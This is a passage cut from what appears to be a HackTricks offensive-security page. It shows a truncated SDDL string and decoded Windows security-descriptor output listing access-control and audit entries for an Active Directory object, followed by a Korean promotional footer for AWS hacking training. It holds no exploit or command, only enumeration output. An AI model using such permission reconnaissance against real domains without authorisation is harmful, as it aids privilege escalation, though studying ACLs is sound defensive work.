;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Owner            : BUILTIN\Administrators
Group            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated